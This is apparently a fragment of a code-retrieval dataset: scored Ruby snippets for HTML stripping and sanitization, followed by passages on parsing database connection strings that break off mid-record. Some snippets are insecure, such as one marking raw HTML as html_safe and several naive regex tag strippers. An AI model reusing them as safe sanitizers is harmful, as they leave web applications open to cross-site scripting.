"text": "def content!\n ActionController::Base.helpers.sanitize( # for tag completion\n ActionController::Base.helpers.sanitize( # for tag/attrs permission\n content, tags: %w|a dl ul ol li p i b pre|, attributes: %w|href|\n )\n )\n end",
"title": ""
},
{
"docid": "b6ccec1ff6ad659dc086fa61317d9838",
"score": "0.56946135",
"text": "def clean_html\n [mac, ip, itgid, room, hostname, uid, notes].each do |e|\n e.gsub! /&/, '&'\n e.gsub! /</, '<'\n e.gsub! />/, '>'\n end\n end",
"title": ""
},
{
"docid": "8b418ee5af477cbb18e3a21c6a4bf940",
"score": "0.56669194",
"text": "def strip_tags\n ActionController::Base.helpers.strip_tags( self )\n end",
"title": ""
},
{
"docid": "292fa4926eb7659807f512f5a1cc71a5",
"score": "0.56535053",
"text": "def event_line_html(_event_line)\n event_line_index = 0\n cur_event = _event_line.events[event_line_index]\n\n\n result = []\n first = true\n\n @days.collect do |d| \n if (!cur_event.include?(d.day)) \n result << _blank_day(d)\n else\n if first\n first = false\n result << _render_event(cur_event)\n end\n if(cur_event.end_day == d.day)\n first = true\n event_line_index += 1\n if (_event_line.events.length > event_line_index)\n cur_event = _event_line.events[event_line_index] \n end\n end\n end\n end\n result.join\n end",
"title": ""
},
{
"docid": "0988c1ce7789ce8b3505679a093a9af6",
"score": "0.56424546",
"text": "def cleanup_garbage\n sequence.gsub!(/<.*?>/, '')\n end",
"title": ""
},
{
"docid": "4a022af023fc5d0ad95f35602f3adcc4",
"score": "0.5637595",
"text": "def get_content(e)\n\tif e == nil\n\t\treturn \" \"\n\telse return e.content\n\tend\nend",
"title": ""
},
{
"docid": "ce45f01b48cfd477409fbe58551589fb",
"score": "0.56245244",
"text": "def strip_html(str)\n # The messages the bot sends are not HTML and most IM clients create links when they detect the structure\n # So we strip HTML from the posts and let the IM clients work things out by themselves\n str.strip!\n tag_pat = %r,<(?:(?:/?)|(?:\\s*)).*?>,\n @content = str.gsub(tag_pat, '')\n end",
"title": ""
},
{
"docid": "86521b2555a2943387b1befaa99853b1",
"score": "0.56214845",
"text": "def strip_html\n self.gsub(/<\\/?[^>]*>/, \"\")\n end",
"title": ""
},
{
"docid": "86521b2555a2943387b1befaa99853b1",
"score": "0.56214845",
"text": "def strip_html\n self.gsub(/<\\/?[^>]*>/, \"\")\n end",
"title": ""
},
{
"docid": "06826ad0f0498a3756a9d1cdc9438ca4",
"score": "0.56213737",
"text": "def strip_markup\n attribute_set :title, strip_markup_from(title)\n attribute_set :content, strip_markup_from(content)\n end",
"title": ""
},
{
"docid": "def672b595af18a322b84547874aa77d",
"score": "0.5620893",
"text": "def discard_a(event)\n add_last_lines unless @last == :discard_a\n @content << %Q|<tr><td>#{old_line}. </td><td><pre class=\"only_a\">#{event.old_element}</pre></td><td></td><td></td></tr>\\n|\n\n @last = :discard_a \n @old_line += 1\n end",
"title": ""
},
{
"docid": "dc081655fcbd1fe8b70a4be373977b8e",
"score": "0.56125474",
"text": "def strip_html\n self.gsub(/<\\/?[^>]*>/, \"\")\n end",
"title": ""
},
{
"docid": "fef1b6fc31c05db1ad3b2b0ecae8417e",
"score": "0.5610593",
"text": "def innocent(html)\n\t\thtml.html_safe\n\tend",
"title": ""
},
{
"docid": "d31ed7e3227e92da24095d98f4c3f623",
"score": "0.56040365",
"text": "def clean()\n return if(subject.nil?)\n #strip all illegal content here. (scripts, shit that will break layout, etc.)\n end",
"title": ""
},
{
"docid": "6f50d4a036de580a5abd8f79189b012a",
"score": "0.5601549",
"text": "def remove_all_html_tags!() gsub!(%r{</?[^>]+?>}, \"\"); strip! end",
"title": ""
},
{
"docid": "0cc7c39af638ca0a74cce4c840b06599",
"score": "0.55935043",
"text": "def substituted_html(eventbooking)\n # pass object with data and text with placeholders for replacing\n Placeholder.substitute_placeholders(eventbooking, message)\n end",
"title": ""
},
{
"docid": "6fcfd4209b023e3c13ae199380cc4371",
"score": "0.5592573",
"text": "def text\n strip_tags strip_links strip_scripts body\n end",
"title": ""
},
{
"docid": "b6619d0f57d0392d62cfc5a7c141314e",
"score": "0.5590115",
"text": "def strip_formatting(str)\n str.gsub(/<.*>/, \"\")\n end",
"title": ""
},
{
"docid": "859cc32b05802acd1bd893100df4f8fa",
"score": "0.5577999",
"text": "def strip_tags\n gsub(/<[^>]+?>/, '')\n end",
"title": ""
},
{
"docid": "b1d12ba906868d1123d6554fbae462f0",
"score": "0.55757785",
"text": "def content_processor\n @content = STRIP_FEATURES_RE.gsub(@content, '')\n @content = STRIP_MARKET_DATA_WIDGET_RE.gsub(@content, '')\n super\n end",
"title": ""
},
{
"docid": "bdb12f84d4c5cac445f3b4f66d50eae9",
"score": "0.55622894",
"text": "def strip_tags\n self.gsub(/<\\/?[^>]*>/, \"\")\n end",
"title": ""
},
{
"docid": "bdb12f84d4c5cac445f3b4f66d50eae9",
"score": "0.55622894",
"text": "def strip_tags\n self.gsub(/<\\/?[^>]*>/, \"\")\n end",
"title": ""
},
{
"docid": "cf7bcba4d6d342eee3bb9b356ab6155c",
"score": "0.5537187",
"text": "def discard_a(event)\n @output << wrap(event.old_element, 'delspan')\n @del += event.old_element.to_s.length\n end",
"title": ""
},
{
"docid": "54a1ef591089ef43ea564acc3d140e43",
"score": "0.55264205",
"text": "def strip_tags\n return self.gsub( %r{</?[^>]+?>}, '' )\n end",
"title": ""
},
{
"docid": "874033e45ef4e828dc87afbc58174a0b",
"score": "0.5524866",
"text": "def inner_html; end",
"title": ""
},
{
"docid": "94ab85a5f6181e742e0fe71940a8b7b4",
"score": "0.55236423",
"text": "def format( event ) nil end",
"title": ""
},
{
"docid": "94ab85a5f6181e742e0fe71940a8b7b4",
"score": "0.55236423",
"text": "def format( event ) nil end",
"title": ""
},
{
"docid": "8656f230d55e2e2518f4baf4504f5615",
"score": "0.5506099",
"text": "def render\n # cleaning content from possible irb stuff. Partial and Helper tags are OK.\n if ComfortableMexicanSofa.config.disable_irb && ![CmsTag::Partial, CmsTag::Helper].member?(self.class)\n content.to_s.gsub('<%', '<%').gsub('%>', '%>')\n else\n content.to_s\n end\n end",
"title": ""
},
{
"docid": "622479f52d3697e026541d86fc3caba5",
"score": "0.5493209",
"text": "def cleanup(str)\n return str unless format == \"text/html\"\n\n str.gsub(/(?<=<)\\w+:(?=\\w+>)/, \"\").gsub(/(?<=<\\/)\\w+:(?=\\w+>)/, \"\")\n .gsub(/<i>/, \"<em>\").gsub(/<\\/i>/, \"</em>\")\n .gsub(/<b>/, \"<strong>\").gsub(/<\\/b>/, \"</strong>\")\n .gsub(/<(?!\\/?(em|strong|stem|sup|sub|tt|br\\s?\\/|p))[^\\s!]\\/?.*?>/, \"\")\n .gsub(/\\s+([.,:;!?<])/, \"\\\\1\").strip.squeeze(\" \")\n end",
"title": ""
},
{
"docid": "0955deb38eb290fc023b32bed552e387",
"score": "0.548264",
"text": "def striphtml()\n merge(striphtml: 'true')\n end",
"title": ""
},
{
"docid": "c6a02dbc9ccdfa143797c1ddc2979dd3",
"score": "0.54684514",
"text": "def strip_tags\n self.gsub(/<+\\/?[^>]*>+/, '')\n end",
"title": ""
},
{
"docid": "aab27925bd12341e04fc6d83e594377a",
"score": "0.5453307",
"text": "def discard_b(event)\n\t\t@output << wrap(event.new_element, 'ins')\n\tend",
"title": ""
},
{
"docid": "0f8317a66c28a13ac969d1e2c13d79e9",
"score": "0.545209",
"text": "def strip_html(string)\n Birdwatcher::Util.strip_html(string)\n end",
"title": ""
},
{
"docid": "2da6b4a780df4dee7a2d140189afcea7",
"score": "0.54489136",
"text": "def strip\n @doc.traverse do |node|\n method_name = \"handle_#{node.name}\"\n send method_name, node if respond_to? method_name\n end\n @doc.css('body').inner_html\n end",
"title": ""
},
{
"docid": "e49aaf179411303c0b5da7e3ba2a83a0",
"score": "0.54439104",
"text": "def do_sanitize_html\n html_permitted_in = [:detail]\n\n attributes.each do |key, val|\n next if html_permitted_in.include?(key)\n next unless attribute_dirty?(key)\n next unless val.is_a?(String)\n\n attribute_set(key, Alert.remove_html(val))\n end\n\n attributes.each do |key, val|\n next unless html_permitted_in.include?(key)\n next unless attribute_dirty?(key)\n next unless val.is_a?(String)\n\n attribute_set(key, Alert.clean_html(val))\n end\n end",
"title": ""
},
{
"docid": "23501a978ce4b7e14b2d26897f23a8d6",
"score": "0.54435974",
"text": "def kill_span_tags(hpricot_dom)\n hpricot_dom.inner_html = hpricot_dom.inner_html.gsub(/<\\/?[Ss][Pp][Aa][Nn].*>/,\"\")\n end",
"title": ""
},
{
"docid": "1d1af439f0f745643280ecfe158828dc",
"score": "0.5443382",
"text": "def unescapeHTML(string)\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "4275388e25ee80a1058d287bb69be3b2",
"score": "0.5436639",
"text": "def flat_event; end",
"title": ""
},
{
"docid": "4275388e25ee80a1058d287bb69be3b2",
"score": "0.5436639",
"text": "def flat_event; end",
"title": ""
},
{
"docid": "02ed3a1e63f4099aaf16ac8b0a7223e0",
"score": "0.5433767",
"text": "def event_state_info(evt)\n txt = []\n\n if evt.published?\n txt << content_tag(:span, t('sadmin.events.evento_publicado_en', :en => event_published_info(evt)), :class => \"published_notice\")\n elsif evt.published_at.nil?\n txt << content_tag(:span, \"Este evento es privado\", :class => \"unpublished_notice\")\n else\n txt << content_tag(:span, t('sadmin.events.publicara_en', :en =>I18n.localize(evt.published_at, :format => :short)), :class => \"unpublished_notice\")\n end\n\n if evt.deleted?\n txt = [\"<span class='deleted'>#{t('sadmin.events.marcado_eliminado')}</span>\"]\n end\n\n txt.join(\"<br />\").html_safe\n end",
"title": ""
},
{
"docid": "bdd0a86e4a462fd20aec53b5d97ffbae",
"score": "0.5432113",
"text": "def strip_extra_content(item, locale=I18n.locale)\n strip_tags(exclude_base64(raw_value(item, locale)))\n end",
"title": ""
},
{
"docid": "f05a28fa2bd0b4464c2f51f03f90af3a",
"score": "0.5430255",
"text": "def discard_a(event)\n\t\t@output << wrap(event.old_element, 'del') \n end",
"title": ""
},
{
"docid": "b8464e31b1c238bbd9d1f528e69173e9",
"score": "0.53997713",
"text": "def html\n str = HTML::head(@event.printed_name)\n str << @list.map{ |e| e.html }.join\n str << HTML::foot\n end",
"title": ""
},
{
"docid": "d2fcbb3011fd1838503f04d9d2ec3b13",
"score": "0.539416",
"text": "def discard_b(event)\n add_last_lines unless @last == :discard_b\n @content << %Q|<tr><td></td><td></td><td><pre class=\"only_b\">#{event.new_element}</pre></td><td>#{new_line}. </td></tr>\\n|\n \n @last = :discard_b\n @new_line += 1\n end",
"title": ""
},
{
"docid": "c14b131ae9f7cc7a5a2e59eaebdc5a64",
"score": "0.5387939",
"text": "def clean_kq_input kq_string\n\t \tretVal = kq_string.sub(/^<p>\\s*<\\/p>/,\"\")\n\t \tretVal = retVal.sub(/(<br>)*<p>\\s*<\\/p>$/,\"\")\n\t \tretVal = retVal.sub(/^<p>/,\"\")\n\t \tretVal = retVal.sub(/<\\/p>$/,\"\")\n\t \tretVal = retVal.gsub(/</,\"<\")\n\t \tretVal = retVal.gsub(/>/,\">\")\n\t \treturn retVal\n\t end",
"title": ""
},
{
"docid": "ebe71451c8fa234814c90c54e1f9682d",
"score": "0.53819144",
"text": "def discard_b(event)\n\t\t\t@output << wrap(event.new_element, 'ins')\n\t\tend",
"title": ""
},
{
"docid": "b282b518b404b7311f6cc1b0c39d56fa",
"score": "0.5380104",
"text": "def strip_html(str)\n str.gsub(/<\\/?[^>]*>/, \"\")\n end",
"title": ""
},
{
"docid": "e5b94febc3430f9704c3ea4fb018c579",
"score": "0.5377535",
"text": "def find_formatted_description(event)\n if event['description']\n format_html_text_to_string(event['description'])\n else\n 'We don\\'t have any details on this event'\n end\n end",
"title": ""
},
{
"docid": "186e917aaeb1eae93254f7a2133df416",
"score": "0.5373422",
"text": "def discard_a(event)\n\t\t\t@output << wrap(event.old_element, 'del') \n\t\tend",
"title": ""
},
{
"docid": "ed367b9e2118d296abde99a721b828a2",
"score": "0.5368678",
"text": "def strip_html(str)\n # The messages the bot sends are not HTML and most IM clients create links when they detect the structure\n # So we strip HTML from the posts and let the IM clients work things out by themselves\n str.strip!\n tag_pat = %r,<(?:(?:/?)|(?:\\s*)).*?>,\n return str.gsub(tag_pat, ' ')\n end",
"title": ""
},
{
"docid": "6d4652b7ee32d0a358909c7be4d325f3",
"score": "0.5368466",
"text": "def scrub_tags(text)\n text.gsub!(/<.{1,3}>/,' ')\nend",
"title": ""
},
{
"docid": "f531d1ae05551764ed45ecb952cb16b4",
"score": "0.53624576",
"text": "def discard_b(event)\n @output << htmlize(event.new_element, :only_b_class)\n end",
"title": ""
},
{
"docid": "edc731ab6019c7db1eda166cb9c90e12",
"score": "0.5362022",
"text": "def strip_all\n return self.strip_tags.strip_ct_nl.strip\n end",
"title": ""
},
{
"docid": "7a3a2518d21e0cc3f1dfe82391aae4b8",
"score": "0.5350078",
"text": "def ajaxify_extra_content\n ''\n end",
"title": ""
},
{
"docid": "b9286551a161c4321b63f61169a1f801",
"score": "0.5346125",
"text": "def event_tags\n self.edesc.scan(/#\\w+/)\n end",
"title": ""
},
{
"docid": "7867f9072fb7c2d22ecefd95eecf7e0e",
"score": "0.53368574",
"text": "def rendered_content_formatter(string)\n string.gsub(/^[ ]+/, '')\n end",
"title": ""
},
{
"docid": "ddaf2376904ffa5672540ca3ed790ba4",
"score": "0.53323245",
"text": "def get_body_for_html_display\n text = self.body.strip\n self.remove_privacy_sensitive_things!(text)\n text = MySociety::Format.wrap_email_body_by_lines(text) # reparagraph and wrap it so is good preview of emails\n text = CGI.escapeHTML(text)\n text = MySociety::Format.make_clickable(text, :contract => 1)\n text.gsub!(/\\[(email address|mobile number)\\]/, '[<a href=\"/help/officers#mobiles\">\\1</a>]')\n text = text.gsub(/\\n/, '<br>')\n return text\n end",
"title": ""
},
{
"docid": "d8947cd93e8358ef6850f28489d038c3",
"score": "0.5326203",
"text": "def scrub_markup_field(field)\r\n begin\r\n raw = self[field]\r\n\r\n # escape all <, >, \", &\r\n html_escaped = html_escape raw\r\n\r\n # remove html comments\r\n html_escaped.gsub! /<!--.*?--[ \\t\\n\\r]*>/, ''\r\n\r\n # revert recognized escaped tags to XHTML\r\n normalized = unescape_acceptible_tags html_escaped\r\n rescue\r\n normalized = html_escaped\r\n msg = \"potential XSS detected on #{self.class.name}.#{field}\"\r\n errors.add field.to_sym, \"Invalid string data\"\r\n logger.warn msg\r\n end\r\n self[field] = normalized\r\n end",
"title": ""
},
{
"docid": "8ac756325f789b8839b491c33bf5440c",
"score": "0.5316223",
"text": "def post_process_data\n @data = @code.process(@data)\n doc = Nokogiri::HTML::DocumentFragment.parse(@data, 'UTF-8')\n @data = doc.to_xhtml(:save_with => Nokogiri::XML::Node::SaveOptions::AS_XHTML, :encoding => 'UTF-8')\n @data.gsub!(/<p><\\/p>/, '')\n end",
"title": ""
},
{
"docid": "33b49a49d17f8ffdac053e0ca4f8803c",
"score": "0.5312075",
"text": "def content_text\n content.gsub(/^\\s*```.*^\\s*```\\s*$/m, '')\n end",
"title": ""
},
{
"docid": "8ad4db9fdaea0914c5a5931fc7f2ea87",
"score": "0.53072923",
"text": "def clean_html(string)\n string.gsub(/<\\/?([bi]|strong)>/mi, \"\")\n end",
"title": ""
},
{
"docid": "43357d2d3d4ce1c881c04a74f1c64db4",
"score": "0.53060305",
"text": "def strip_html_tags(text)\n text.gsub(/<\\/?[^>]*>/, '')\n end",
"title": ""
},
{
"docid": "e5e9e6d87ce9c7c13687cd55fa85038d",
"score": "0.52981174",
"text": "def strip_tags!\n gsub!( self, self.strip_tags )\n end",
"title": ""
},
{
"docid": "5ea6c860f3a093b95af84e843eecfa5f",
"score": "0.529155",
"text": "def extract_html(node)\n node.to_s.strip\n end",
"title": ""
},
{
"docid": "633f3b21f17aa073e6328499441d6a01",
"score": "0.52833086",
"text": "def protect_from_xss_like_a_boss(dirtyText)\n scrubber = Rails::Html::PermitScrubber.new\n scrubber.tags = ['a','p','br','b','i','s','ol','ul','li','h5','label']\n cleanText = Loofah.fragment(dirtyText).scrub!(scrubber)\n return cleanText.to_s\n end",
"title": ""
},
{
"docid": "71c8e13953e00f9984b56ae8286c6dde",
"score": "0.527309",
"text": "def sanitize_inputs\n self.description = strip_tags(self.description)\n end",
"title": ""
},
{
"docid": "71c8e13953e00f9984b56ae8286c6dde",
"score": "0.527309",
"text": "def sanitize_inputs\n self.description = strip_tags(self.description)\n end",
"title": ""
},
{
"docid": "d22474eb59c98c58db116301593f1aa8",
"score": "0.5270955",
"text": "def tag; ''; end",
"title": ""
},
{
"docid": "00cab20e8caac9b5241fd753cf9f769b",
"score": "0.5265692",
"text": "def sanitize_source_content_at(source_content_at)\n # Remove id page\n r, _id_page = Repositext::Utils::IdPageRemover.remove(source_content_at)\n # Normalize trailing newlines\n r.sub!(/\\n+\\z/, \"\\n\")\n # Remove record_marks, subtitle_marks, and gap_marks\n r.gsub!(/^\\^\\^\\^[^\\n]+\\n\\n/, '')\n # Remove line_break periods and IALs in various combinations\n r.gsub!('*{: .italic .smcaps} *.*{: .line_break}*', ' ')\n r.gsub!('*{: .smcaps} *.*{: .line_break}*', ' ')\n r.gsub!('*.*{: .line_break}', '')\n # Change .song_break to .song\n r = replace_ial_classes(r, %w[song_break], ' .song')\n # Remove certain IAL classes\n r = replace_ial_classes(\n r,\n %w[\n decreased_word_space\n first_par\n increased_word_space\n indent_for_eagle\n no_highlight\n omit\n ],\n ''\n )\n # Remove empty block level IALs. They may occur after certain ial\n # classes have been removed. Example:\n # # *Word*{: .italic .smcaps}\n # {:}\n r.gsub!(/^\\{:\\}\\n/, '')\n r\n end",
"title": ""
},
{
"docid": "37f3be3df21c53716daa08e16a1f06a1",
"score": "0.526245",
"text": "def prepare_ebsco_eds_payload(str, html_safe = false)\n\n str = HTMLEntities.new.decode str\n\n if str.present?\n if configuration.highlighting\n str.gsub!(/\\<highlight\\>/,\"<b class='bento_search_highlight'>\")\n str.gsub!(/\\<\\/hilight\\>/,\"</b>\")\n else\n str = str.html_safe if html_safe\n end\n end\n end",
"title": ""
},
{
"docid": "79848db0002e68010ad828485bd1295c",
"score": "0.52589744",
"text": "def strip_html\ngsub(/<[^>]*(>+|\\s*\\z)/m, '');\nend",
"title": ""
},
{
"docid": "034e989c55469318bc2f6fa284993960",
"score": "0.52568734",
"text": "def template(event={})\r\n content = <<EOF\r\n<?xml version=\"1.0\"?>\r\n<entry xmlns='http://www.w3.org/2005/Atom'\r\n xmlns:gd='http://schemas.google.com/g/2005'>\r\n <category scheme='http://schemas.google.com/g/2005#kind'\r\n term='http://schemas.google.com/g/2005#event'></category>\r\n <title type='text'>#{event[:title]}</title>\r\n <content type='text'>#{event[:content]}</content>\r\n <author>\r\n <name>#{event[:author]}</name>\r\n <email>#{event[:email]}</email>\r\n </author>\r\n <gd:transparency\r\n value='http://schemas.google.com/g/2005#event.opaque'>\r\n </gd:transparency>\r\n <gd:eventStatus\r\n value='http://schemas.google.com/g/2005#event.confirmed'>\r\n </gd:eventStatus>\r\n <gd:where valueString='#{event[:where]}'></gd:where>\r\n <gd:when startTime='#{event[:startTime]}' endTime='#{event[:endTime]}'>\r\n #{event[:reminders]}\r\n </gd:when>\r\n</entry>\r\nEOF\r\n end",
"title": ""
},
{
"docid": "3eed34e85d0848ac3419581694ce6539",
"score": "0.5252065",
"text": "def strip_html\n\n def inner(text)\n text = text.gsub(/( |\\n|\\s)+/im, ' ').squeeze(' ').strip.\n gsub(/<([^\\s]+)[^>]*(src|href)=\\s*(.?)([^>\\s]*)\\3[^>]*>\\4<\\/\\1>/i, '\\4')\n \n text = CGI.unescapeHTML(\n text.\n gsub(/<(script|style)[^>]*>.*<\\/\\1>/im, '').\n gsub(/<!--.*-->/m, '').\n gsub(/<hr(| [^>]*)>/i, \"___\\n\").\n gsub(/<li(| [^>]*)>/i, \"\\n* \").\n gsub(/<blockquote(| [^>]*)>/i, '> ').\n gsub(/<(br)(| [^>]*)>/i, \"\\n\").\n gsub(/<(\\/h[\\d]+|p)(| [^>]*)>/i, \"\\n\\n\").\n gsub(/<[^>]*>/, '')\n ).lstrip.gsub(/\\n[ ]+/, \"\\n\") # + \"\\n\"\n text\n end\n\n # is two passes enough? I'm pretty sure that it is.\n inner(inner(self))\n end",
"title": ""
},
{
"docid": "c2e58f75cab170d4604ffc6b9547dd19",
"score": "0.5248893",
"text": "def clean_body\n html = @doc.at_css('body').inner_html.gsub(/<\\s*script\\b[^>]*>.*?<\\s*\\/\\s*script\\s*>/im, '')\n html.gsub!(/(?:<|<)!--.*?->/im, '')\n html = Nokogiri::HTML(html).text # Twice to convert escaped html entities\n html.gsub!(/[\\t\\n\\r]+/i, ' ')\n html.gsub!(/\\s{2,}/, ' ')\n html\n end",
"title": ""
},
{
"docid": "427f13122a3868cde207e3ae2757746d",
"score": "0.5234966",
"text": "def strip_tags(html)\n self.class.full_sanitizer.sanitize(html)&.html_safe\n end",
"title": ""
},
{
"docid": "4721aa3e8d719c42b7df2c5af3dd4082",
"score": "0.5234131",
"text": "def to_clean_html\n str = ''\n\n # A recursive lambda that rejects any empty (includes newlines/spaces/tabs) nodes\n empty_elements = lambda { |el| el.respond_to?(:children) ? (el.children.reject!(&empty_elements); false) : (el.to_html.strip.empty?) }\n\n # A recursive lambda that re-maps the nodes with all newlines and extra spaces stripped out\n stripped_down = lambda do |el|\n if el.respond_to?(:children)\n el.children.map(&stripped_down) # iterate over children if possible\n else\n #unless el.parent.respond_to?(:name) && el.parent.name == 'script' # preserve JS newlines\n el.content.gsub!(/\\n/, '') if el.is_a?(Hpricot::Text) || el.is_a?(Hpricot::Comment) # remove newlines from text\n el.content.gsub!(/\\s+/, ' ') if el.is_a?(Hpricot::Text) || el.is_a?(Hpricot::Comment) # convert all groups of spaces into one space\n #end\n end\n el\n end\n\n # A recursive lambda that iterates over each node and rebuilds the html\n pretty_print = lambda do |el, i|\n if el.respond_to?(:children)\n if el.children.empty? \n # isn't there a less hackish way to turn a tag into a self-ending tag?\n _el = Hpricot::Elem.new(Hpricot::STag.parse(el.name, el.attributes, nil, nil))\n str << indented(_el) + @clean_newline\n else\n str << indented(el.stag) + @clean_newline # add start tag\n unless el.children.empty?\n @indent_counter += 1\n el.children.each_with_index(&pretty_print)\n @indent_counter -= 1\n str << indented(el.etag) + @clean_newline if el.etag # add end tag\n end\n end\n else\n case el\n when Hpricot::DocType # need to do anything special to the doc type?\n str << indented(el) + @clean_newline\n else\n str << indented(el) + @clean_newline\n end\n end\n end\n\n @hpricot.children.reject!(&empty_elements).map!(&stripped_down).each_with_index(&pretty_print)\n @indent_counter = 0 # reset\n\n str\n end",
"title": ""
},
{
"docid": "699cb0ae721cf40d98400d6f60eea5a6",
"score": "0.5233598",
"text": "def render_activity_story(event)\n message = \"<div class='storyTitle'>#{link_to event.user.login, user_long_url(event.user)} \"\n case event.event_type\n when StuffEvent::TYPE_RELATED_IMAGE\n prepare_story_for_image_upload(event, message)\n when StuffEvent::TYPE_CONTRIBUTED_IMAGE\n prepare_story_for_image_contribution(event, message)\n when StuffEvent::TYPE_RESTAURANT\n prepare_story_for_restaurant_add(event, message)\n when StuffEvent::TYPE_RESTAURANT_UPDATE\n prepare_story_for_restaurant_update(event, message)\n when StuffEvent::TYPE_REVIEW\n prepare_story_for_review_add(event, message)\n when StuffEvent::TYPE_REVIEW_COMMENT\n prepare_story_for_review_comment(event, message)\n when StuffEvent::TYPE_CHECKIN\n prepare_story_for_checkin(event, message)\n when StuffEvent::TYPE_PHOTO_COMMENT\n prepare_story_for_photo_comment(event, message)\n else\n message << '</div>'\n \n end\n message\n end",
"title": ""
},
{
"docid": "191e2a03f1945ea020ddbcec4ab9168b",
"score": "0.5232727",
"text": "def sanitize_evil_tags\n self.summary = sanitize self.summary, tags: TINY_REDACTOR_TAGS , attributes: TINY_REDACTOR_ATTRS\n self.body = sanitize self.body, tags: REDACTOR_TAGS , attributes: REDACTOR_ATTRS\n end",
"title": ""
}
] |
5df956ee9afb7264bbee29bc73f8c541
|
Make sure that the connection string is parsed properly when it has an equals sign
|
[
{
"docid": "3eba10796f75ab200eb687288ca87af3",
"score": "0.0",
"text": "def test_odbc_conn_str_connection_with_equals\n conn_str = 'Foo=Bar;Foo2=Something=with=equals'\n\n odbc_driver_instance_mock = Minitest::Mock.new\n odbc_database_instance_mock = Minitest::Mock.new\n odbc_connection_instance_mock = Minitest::Mock.new\n\n # Setup ODBC::Driver instance mocks\n odbc_driver_instance_mock.expect(:name=, nil, ['odbc'])\n odbc_driver_instance_mock.expect(:attrs=, nil, [{ 'Foo' => 'Bar', 'Foo2' => 'Something=with=equals' }])\n\n # Setup ODBC::Database instance mocks\n odbc_database_instance_mock.expect(:drvconnect, odbc_connection_instance_mock, [odbc_driver_instance_mock])\n\n # Stub ODBC::Driver.new\n ODBC::Driver.stub :new, odbc_driver_instance_mock do\n # Stub ODBC::Database.new\n ODBC::Database.stub :new, odbc_database_instance_mock do\n # Run under our stubs/mocks\n ActiveRecord::Base.__send__(:odbc_conn_str_connection, conn_str: conn_str)\n end\n end\n\n # make sure we called the methods we expected\n odbc_driver_instance_mock.verify\n odbc_database_instance_mock.verify\n odbc_connection_instance_mock.verify\n end",
"title": ""
}
] |
[
{
"docid": "9db7ea08bf5074d46842c6dca56e7017",
"score": "0.6921268",
"text": "def quote_connstr(value); end",
"title": ""
},
{
"docid": "9db7ea08bf5074d46842c6dca56e7017",
"score": "0.6921268",
"text": "def quote_connstr(value); end",
"title": ""
},
{
"docid": "953373b0baf044294ea5141b378194f7",
"score": "0.66041976",
"text": "def test_connection_string_present(uri)\n uri && uri != ''\n end",
"title": ""
},
{
"docid": "837234fb2773367d7903394d35be5f02",
"score": "0.59718233",
"text": "def connection_string(params)\n return params[:uri] unless params[:uri].blank?\n raise \"Must supply an adapter argument to the Sequel configuration\" if params[:adapter].blank?\n\n \"#{params[:adapter]}://#{params[:username]}:#{params[:password]}@#{params[:host]}:#{params[:port]}/#{params[:database]}\"\n end",
"title": ""
},
{
"docid": "1ba06064360cbeb7fb30cae11f4fc8bd",
"score": "0.59285474",
"text": "def connection_string(conn_str)\n @dsl_conn_str = conn_str\n end",
"title": ""
},
{
"docid": "1800da9c5343eee3bb26063cbad7583e",
"score": "0.585323",
"text": "def filter_sqlite_conn_str(conn)\n #[Data Source=c:\\mydb.db], [Version=3]\n list_conn_params = conn.to_s.split(';')\n\n list_conn_params.each do |conn_op|\n if conn_op.to_s.downcase.index('source=')\n #Data Source=c:\\mydb.db => c:\\mydb.db\n return conn_op[conn_op.index('=')+1..conn_op.length]\n end\n end\n\n ''\n end",
"title": ""
},
{
"docid": "da971647eaf87cbb02a9234c4d560e6f",
"score": "0.5630226",
"text": "def test_connection \n str = escape_cru_project\n try(str)\n end",
"title": ""
},
{
"docid": "40e212be8693aafff87f43faaa9f2ab2",
"score": "0.5581988",
"text": "def test_string_quoting_with_standard_conforming_strings\n # if connection.supports_standard_conforming_strings?\n s = \"\\\\m it's \\\\M\"\n assert_equal \"'\\\\m it''s \\\\M'\", connection.quote(s)\n # end\n end",
"title": ""
},
{
"docid": "21742a38e3b8567b3363d3616f366ad7",
"score": "0.5579633",
"text": "def connection_str\n\t\t\t@connection_str || nil\n\t\tend",
"title": ""
},
{
"docid": "7dff6b5aa97716735eaa7a8fdf09df0a",
"score": "0.5516636",
"text": "def reset_connection_string\n connection_string = ENV.delete 'WGIT_CONNECTION_STRING'\n yield # Run assertions etc. here.\n ENV['WGIT_CONNECTION_STRING'] = connection_string\n end",
"title": ""
},
{
"docid": "7dff6b5aa97716735eaa7a8fdf09df0a",
"score": "0.5516636",
"text": "def reset_connection_string\n connection_string = ENV.delete 'WGIT_CONNECTION_STRING'\n yield # Run assertions etc. here.\n ENV['WGIT_CONNECTION_STRING'] = connection_string\n end",
"title": ""
},
{
"docid": "a0bdfc312998cb31c523a1016c18bae1",
"score": "0.54702115",
"text": "def connect_db_string\n {\n host: options[:host],\n port: options[:port],\n dbname: options[:database],\n user: options[:user],\n password: options[:password],\n connect_timeout: options[:connect_timeout]\n }.reject{|k,v| v.nil?}.map{|pair| pair.join(\"=\")}.join(\" \")\n end",
"title": ""
},
{
"docid": "76f0ae7574c9300b68da893e64e560e4",
"score": "0.54191846",
"text": "def check_connection_config!\n db_config = ActiveRecord::Base.connection_config\n host = db_config[:host]\n raise(\"Can't run destructive tests against non-local database #{host || 'nil'}\") unless host == 'localhost'\n msg = \"Using database #{db_config[:database]} on host #{host} with username #{db_config[:username]}\"\n puts msg.colorize(:yellow)\nend",
"title": ""
},
{
"docid": "36b1ff39213c82640cf8a5397323cd3d",
"score": "0.53628224",
"text": "def connection_config_for(database_url)\n puts ENV[database_url]\n db = URI.parse(ENV[database_url])\n {\n adapter: db.scheme == 'postgres' ? 'postgresql' : db.scheme,\n host: db.host,\n username: db.user,\n password: db.password,\n database: db.path[1..-1],\n encoding: 'utf8'\n }\nend",
"title": ""
},
{
"docid": "0f25abaa75ad5bd868407d01e6303521",
"score": "0.5355782",
"text": "def is\n connection_string.is\n end",
"title": ""
},
{
"docid": "2008b5affb5258f673b37bf699942a2b",
"score": "0.53488976",
"text": "def test_mysql_blank_host\n\t assert_equal(\n\t\t {:dbtype=>\"mysql\", :database=>\"redradish_confluence\"},\n\t\t AtlConfig::JDBCURL.parse(\"jdbc:mysql:///redradish_confluence\"),\n\t )\n end",
"title": ""
},
{
"docid": "13a2b562c9c5bf14c45fecebc557584f",
"score": "0.53011584",
"text": "def check_connection\r\n state = @db.match(/\\s/).pre_match\r\n unless state.equal? 'connection'\r\n fail \"Failed to connect using specified descriptor. The error was: #{get_db_error}\"\r\n end\r\n end",
"title": ""
},
{
"docid": "08327a787153eb686fbc5c6cd1a2e130",
